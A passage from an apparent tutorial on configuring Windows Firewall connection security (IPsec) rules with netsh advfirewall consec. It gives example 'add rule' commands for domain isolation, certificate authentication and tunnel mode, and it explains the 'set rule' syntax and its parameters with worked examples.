Moreover, if you go to the settings of this rule in the Windows Firewall with Advanced Security snap-in, you can see that it contains properties that are not supported by the GUI:
This example creates a rule to isolate a domain where IPsec protection is not required:
add rule name="Domain isolation" endpoint1=any endpoint2=any action=noauthentication
add rule name="Certificate authentication" endpoint1=any endpoint2=any action=requireinrequestout auth1=computercert auth1ca="C=US,O=MSFT,CN='Microsoft Root Authority'|C=US, O=MYORG,CN='TestCompany Trusted Certificate'"
add rule name="Tunnel connection" mode=tunnel endpoint1=10.1.1.0/16 endpoint2=22.1.1.0/16 remotetunnelendpoint=192.168.0.1 localtunnelendpoint=195.57.15.1 action=requireinrequireout
Set
Using the command Set
context Netsh Advfirewall Consec
you can change and add any parameters and values in pre-created rules. To add a new setting to an existing connection security rule, type set rule new before specifying the settings
. If there are no such values, or if the new parameter is missing, no changes are made. If the rule does not exist, the command fails. To create rules, use the command add
, which was described in detail in section Add
. The command syntax is as follows:
set rule name=RuleName Parameter Value
If the criteria matches multiple rules, all relevant rules will be updated. The following list shows all parameters you can set without parameter new
:
- name = { all | RuleName }
- type = { dynamic | static }
- profile = { public | private | domain | any | [ ,… ] }
- endpoint1 = Addresses
- endpoint2 = Addresses
- port1 = { any | Integer } [ ,… ]
- port2 = { any | Integer } [ ,… ]
- protocol = { any | tcp | udp | icmpv4 | icmpv6 | Integer }
Together with the new parameter, you can use all the parameters that were discussed in the section Add
.
In the first example, let’s try to rename one of the rules:
set rule name="Quick Mode Rule" new name="Corrected Quick Mode Rule"
This example changes the quick mode rule authentication:
netsh advfirewall consec>set rule name="Adjusted quick mode rule" new endpoint1=any endpoint2=any qmsecmethods=authnoencap:aesgmac256,ah:aesgmac256+esp:aesgmac256-none